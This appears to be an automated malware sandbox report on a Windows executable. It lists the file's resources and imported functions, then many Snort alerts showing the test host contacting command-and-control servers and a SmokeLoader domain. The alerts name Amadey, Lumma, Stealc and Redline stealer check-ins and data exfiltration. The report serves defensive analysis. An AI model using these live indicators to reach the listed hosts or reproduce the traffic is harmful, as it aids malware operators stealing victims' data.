RT_ICON	0x1ee9828	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2800187617260788
RT_ICON	0x1ee9828	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2800187617260788
RT_ICON	0x1eea8d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3012295081967213
RT_ICON	0x1eea8d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3012295081967213
RT_ICON	0x1eeb258	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.33687943262411346
RT_ICON	0x1eeb258	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.33687943262411346
RT_ICON	0x1eeb728	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.30730277185501065
RT_ICON	0x1eeb728	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.30730277185501065
RT_ICON	0x1eec5d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.3722924187725632
RT_ICON	0x1eec5d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.3722924187725632
RT_ICON	0x1eece78	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.41244239631336405
RT_ICON	0x1eece78	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.41244239631336405
RT_ICON	0x1eed540	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.38078034682080925
RT_ICON	0x1eed540	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.38078034682080925
RT_ICON	0x1eedaa8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.23226141078838175
RT_ICON	0x1eedaa8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.23226141078838175
RT_ICON	0x1ef0050	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.26594746716697937
RT_ICON	0x1ef0050	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.26594746716697937
RT_ICON	0x1ef10f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.2754098360655738
RT_ICON	0x1ef10f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.2754098360655738
RT_ICON	0x1ef1a80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.3191489361702128
RT_ICON	0x1ef1a80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.3191489361702128
RT_STRING	0x1ef5120	0x380	data	Tamil	India	0.46651785714285715
RT_STRING	0x1ef5120	0x380	data	Tamil	Sri Lanka	0.46651785714285715
RT_STRING	0x1ef54a0	0xe8	data	Tamil	India	0.5646551724137931
RT_STRING	0x1ef54a0	0xe8	data	Tamil	Sri Lanka	0.5646551724137931
RT_STRING	0x1ef5588	0xe4	data	Tamil	India	0.5745614035087719
RT_STRING	0x1ef5588	0xe4	data	Tamil	Sri Lanka	0.5745614035087719
RT_STRING	0x1ef5670	0x386	Matlab v4 mat-file (little endian) i, numeric, rows 0, columns 0	Tamil	India	0.46008869179600886
RT_STRING	0x1ef5670	0x386	Matlab v4 mat-file (little endian) i, numeric, rows 0, columns 0	Tamil	Sri Lanka	0.46008869179600886
RT_STRING	0x1ef59f8	0x2e4	data	Tamil	India	0.4689189189189189
RT_STRING	0x1ef59f8	0x2e4	data	Tamil	Sri Lanka	0.4689189189189189
RT_ACCELERATOR	0x1ef1f60	0x68	data	Tamil	India	0.7403846153846154
RT_ACCELERATOR	0x1ef1f60	0x68	data	Tamil	Sri Lanka	0.7403846153846154
RT_GROUP_CURSOR	0x1ef4e90	0x14	data			1.25
RT_GROUP_CURSOR	0x1ef32c0	0x30	data			1.0
RT_GROUP_CURSOR	0x1ef45b8	0x30	data			1.0
RT_GROUP_ICON	0x1ee5780	0x22	data	Tamil	India	0.9705882352941176
RT_GROUP_ICON	0x1ee5780	0x22	data	Tamil	Sri Lanka	0.9705882352941176
RT_GROUP_ICON	0x1eeb6c0	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x1eeb6c0	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x1ef1ee8	0x76	data	Tamil	India	0.6694915254237288
RT_GROUP_ICON	0x1ef1ee8	0x76	data	Tamil	Sri Lanka	0.6694915254237288
RT_VERSION	0x1ef4ea8	0x274	data			0.5382165605095541
None	0x1ef1fd8	0xa	data	Tamil	India	1.8
None	0x1ef1fd8	0xa	data	Tamil	Sri Lanka	1.8
None	0x1ef1fe8	0xa	data	Tamil	India	1.8
None	0x1ef1fe8	0xa	data	Tamil	Sri Lanka	1.8
None	0x1ef1fc8	0xa	data	Tamil	India	1.8
None	0x1ef1fc8	0xa	data	Tamil	Sri Lanka	1.8

Imports

DLL	Import
KERNEL32.dll	SetDefaultCommConfigA, SetInformationJobObject, AllocConsole, GetConsoleAliasExesLengthA, UpdateResourceA, MoveFileExW, InterlockedDecrement, WaitNamedPipeA, GetCurrentProcess, GetNamedPipeHandleStateA, HeapFree, GetProfileStringW, GetUserDefaultLCID, SetComputerNameW, GetComputerNameW, GetTimeFormatA, FlushConsoleInputBuffer, _lclose, _lcreat, GetModuleHandleW, GetConsoleAliasesLengthA, ReadConsoleW, GetWindowsDirectoryA, GetCompressedFileSizeW, GetConsoleAliasExesW, EnumTimeFormatsA, GetDriveTypeA, GlobalAlloc, GetPrivateProfileIntA, LoadLibraryW, TerminateThread, FatalAppExitW, _hread, GetPrivateProfileStructW, GetCalendarInfoW, DeleteVolumeMountPointW, GetFileAttributesA, TransactNamedPipe, GetFileSize, GetStartupInfoW, CreateMailslotW, VirtualUnlock, GetLastError, IsDBCSLeadByteEx, GetCurrentDirectoryW, SetLastError, BackupRead, ReadConsoleOutputCharacterA, GetProcAddress, VirtualAlloc, CreateNamedPipeA, MoveFileW, GlobalGetAtomNameA, OpenWaitableTimerA, LoadLibraryA, InterlockedExchangeAdd, LocalAlloc, BuildCommDCBAndTimeoutsW, GetNumberFormatW, GetCurrentConsoleFont, EnumDateFormatsA, CreateIoCompletionPort, _lread, GetModuleHandleA, FreeEnvironmentStringsW, FindNextFileW, OpenSemaphoreW, SetFileShortNameA, ReadConsoleInputW, LocalSize, FindFirstVolumeW, DeleteFileW, EnumSystemLocalesW, DeleteFileA, CloseHandle, ReadFile, WriteConsoleW, GetConsoleAliasW, GetCommandLineW, LCMapStringW, FlushFileBuffers, InterlockedIncrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, MoveFileA, HeapAlloc, HeapReAlloc, GetCommandLineA, HeapSetInformation, RtlUnwind, HeapCreate, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, ExitProcess, WriteFile, GetModuleFileNameW, SetFilePointer, HeapSize, RaiseException, GetModuleFileNameA, WideCharToMultiByte, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetStringTypeW, MultiByteToWideChar, IsProcessorFeaturePresent, GetConsoleCP, GetConsoleMode, SetStdHandle, CreateFileW
USER32.dll	CharUpperA, CharUpperBuffA
ADVAPI32.dll	RevertToSelf
WINHTTP.dll	WinHttpGetProxyForUrl

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4154.221.26.10849854802045057 07/27/23-18:27:46.279001	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49854	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8050040802027700 07/27/23-18:28:06.500314	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049810802027700 07/27/23-18:27:38.197127	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.850622532045695 07/27/23-18:27:27.209982	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	50622	53	192.168.2.4	8.8.8.8
192.168.2.48.8.8.850861532045695 07/27/23-18:27:00.444061	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	50861	53	192.168.2.4	8.8.8.8
192.168.2.48.8.8.860550532045695 07/27/23-18:27:09.364936	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	60550	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049792802044695 07/27/23-18:27:34.959840	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49792	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.750022802043206 07/27/23-18:28:03.214580	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50022	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049727802027700 07/27/23-18:27:21.756307	TCP	2027700	ET TROJAN Amadey CnC Check-In	49727	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049825802027700 07/27/23-18:27:40.018920	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049951802027700 07/27/23-18:27:56.045492	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049774802044695 07/27/23-18:27:30.411080	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49774	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049872802044695 07/27/23-18:27:48.065922	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49872	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.855570532045695 07/27/23-18:26:55.838865	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	55570	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8050019802027700 07/27/23-18:28:03.107194	TCP	2027700	ET TROJAN Amadey CnC Check-In	50019	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.856022532045695 07/27/23-18:27:04.501529	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	56022	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049788802027700 07/27/23-18:27:32.742218	TCP	2027700	ET TROJAN Amadey CnC Check-In	49788	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049808802044695 07/27/23-18:27:37.808371	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49808	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049984802027700 07/27/23-18:27:58.309871	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049887802044695 07/27/23-18:27:49.864302	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49887	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050037802027700 07/27/23-18:28:05.896049	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049730802027700 07/27/23-18:27:22.123798	TCP	2027700	ET TROJAN Amadey CnC Check-In	49730	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050038802044695 07/27/23-18:28:06.119097	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50038	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049862802044695 07/27/23-18:27:46.899338	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49862	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050031802044695 07/27/23-18:28:04.797949	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50031	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.750043802016867 07/27/23-18:28:14.151338	TCP	2016867	ET TROJAN Backdoor.Win32.Pushdo.s Checkin	50043	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8050027802027700 07/27/23-18:28:04.181576	TCP	2027700	ET TROJAN Amadey CnC Check-In	50027	80	192.168.2.4	5.42.65.80
192.168.2.4187.204.99.21849760802036333 07/27/23-18:27:29.182970	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49760	80	192.168.2.4	187.204.99.218
51.89.201.49192.168.2.46932497512043234 07/27/23-18:27:26.603543	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	6932	49751	51.89.201.49	192.168.2.4
192.168.2.4190.139.250.13349752802020826 07/27/23-18:27:26.988076	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49752	80	192.168.2.4	190.139.250.133
192.168.2.45.42.65.8049900802027700 07/27/23-18:27:52.947506	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.4	5.42.65.80
91.227.16.22192.168.2.480498792018572 07/27/23-18:27:49.383537	TCP	2018572	ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families)	80	49879	91.227.16.22	192.168.2.4
192.168.2.45.42.65.8049745802027700 07/27/23-18:27:23.742061	TCP	2027700	ET TROJAN Amadey CnC Check-In	49745	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749976802043206 07/27/23-18:27:57.787122	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49976	80	192.168.2.4	188.114.96.7
192.168.2.48.8.8.864959532045695 07/27/23-18:27:21.772864	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	64959	53	192.168.2.4	8.8.8.8
192.168.2.4188.114.97.749954802043206 07/27/23-18:27:56.189583	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49954	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8050009802027700 07/27/23-18:28:01.040405	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749898802046637 07/27/23-18:27:52.873659	TCP	2046637	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Configuration Request Attempt	49898	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8050013802044695 07/27/23-18:28:02.128391	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50013	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049797802044695 07/27/23-18:27:35.995165	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49797	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049876802027700 07/27/23-18:27:48.754883	TCP	2027700	ET TROJAN Amadey CnC Check-In	49876	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049880802044695 07/27/23-18:27:49.318195	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49880	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049835802027700 07/27/23-18:27:41.278383	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049994802027700 07/27/23-18:27:58.978417	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749928802043206 07/27/23-18:27:54.558327	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49928	80	192.168.2.4	188.114.96.7
192.168.2.4188.114.97.749936802043206 07/27/23-18:27:54.952434	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49936	80	192.168.2.4	188.114.97.7
192.168.2.4188.114.96.750014802043206 07/27/23-18:28:02.188317	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50014	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049957802044695 07/27/23-18:27:56.537515	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49957	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049800802027700 07/27/23-18:27:36.237632	TCP	2027700	ET TROJAN Amadey CnC Check-In	49800	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049817802027700 07/27/23-18:27:38.986742	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049944802044695 07/27/23-18:27:55.656173	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49944	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049947802044695 07/27/23-18:27:55.843244	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49947	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049848802027700 07/27/23-18:27:46.523855	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049735802027700 07/27/23-18:27:22.425901	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049834802044695 07/27/23-18:27:41.045390	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49834	80	192.168.2.4	5.42.65.80
192.168.2.4193.106.174.12549852802044246 07/27/23-18:27:44.703985	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49852	80	192.168.2.4	193.106.174.125
192.168.2.45.42.65.8050036802044695 07/27/23-18:28:05.712903	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50036	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049830802027700 07/27/23-18:27:40.666457	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749964802043206 07/27/23-18:27:57.216062	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49964	80	192.168.2.4	188.114.97.7
192.168.2.4188.114.97.749967802043206 07/27/23-18:27:57.336418	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49967	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8050032802027700 07/27/23-18:28:04.981227	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049907802027700 07/27/23-18:27:53.472643	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049769802044695 07/27/23-18:27:29.903197	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49769	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049828802044695 07/27/23-18:27:40.450623	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49828	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049766802044695 07/27/23-18:27:29.628346	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49766	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050015802044695 07/27/23-18:28:02.435380	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50015	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049771802027700 07/27/23-18:27:30.155199	TCP	2027700	ET TROJAN Amadey CnC Check-In	49771	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049870802044695 07/27/23-18:27:47.871063	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49870	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049845802027700 07/27/23-18:27:42.891419	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049801802044695 07/27/23-18:27:36.472870	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49801	80	192.168.2.4	5.42.65.80
192.168.2.4193.106.174.12549850802044243 07/27/23-18:27:44.398749	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49850	80	192.168.2.4	193.106.174.125
192.168.2.45.42.65.8049884802027700 07/27/23-18:27:49.664500	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.861088532045695 07/27/23-18:27:03.144911	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	61088	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049764802044695 07/27/23-18:27:29.334695	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49764	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049836802044695 07/27/23-18:27:41.478855	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49836	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049921802027700 07/27/23-18:27:54.312425	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049737802027700 07/27/23-18:27:22.664584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49737	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749979802043206 07/27/23-18:27:57.962569	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49979	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049758802044695 07/27/23-18:27:28.375754	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49758	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049809802027700 07/27/23-18:27:37.995741	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049843802027700 07/27/23-18:27:42.553170	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049723802044695 07/27/23-18:27:20.997197	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49723	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049878802027700 07/27/23-18:27:49.134079	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049977802044695 07/27/23-18:27:57.916686	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49977	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050007802027700 07/27/23-18:28:00.693339	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.750002802043206 07/27/23-18:27:59.879378	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50002	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049914802044695 07/27/23-18:27:53.847830	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49914	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049942802044695 07/27/23-18:27:55.350331	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49942	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050023802044695 07/27/23-18:28:03.291973	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50023	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049815802027700 07/27/23-18:27:38.771452	TCP	2027700	ET TROJAN Amadey CnC Check-In	49815	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050035802027700 07/27/23-18:28:05.518913	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049837802027700 07/27/23-18:27:41.681795	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049806802044695 07/27/23-18:27:37.514205	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49806	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049778802027700 07/27/23-18:27:31.006409	TCP	2027700	ET TROJAN Amadey CnC Check-In	49778	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849811802045057 07/27/23-18:27:39.728727	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49811	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8049842802044695 07/27/23-18:27:42.354378	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49842	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049997802027700 07/27/23-18:27:59.408195	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049972802044695 07/27/23-18:27:57.686831	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49972	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049877802044695 07/27/23-18:27:48.944804	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49877	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050028802044695 07/27/23-18:28:04.420774	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50028	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050030802027700 07/27/23-18:28:04.613520	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049794802044695 07/27/23-18:27:35.263420	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49794	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050024802027700 07/27/23-18:28:03.735111	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749920802043206 07/27/23-18:27:54.185751	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49920	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049918802044695 07/27/23-18:27:54.102597	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49918	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049865802027700 07/27/23-18:27:47.272503	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049771802044695 07/27/23-18:27:30.155199	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49771	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049874802027700 07/27/23-18:27:48.264031	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049972802027700 07/27/23-18:27:57.686831	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049866802044695 07/27/23-18:27:47.476195	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49866	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.863746532045695 07/27/23-18:27:26.252990	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	63746	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049955802044695 07/27/23-18:27:56.221466	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49955	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849768802045057 07/27/23-18:27:31.160912	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49768	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8050010802044695 07/27/23-18:28:01.266649	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50010	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049794802027700 07/27/23-18:27:35.263420	TCP	2027700	ET TROJAN Amadey CnC Check-In	49794	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049832802044695 07/27/23-18:27:40.853840	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49832	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049981802027700 07/27/23-18:27:58.124908	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049841802044695 07/27/23-18:27:42.080667	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49841	80	192.168.2.4	5.42.65.80
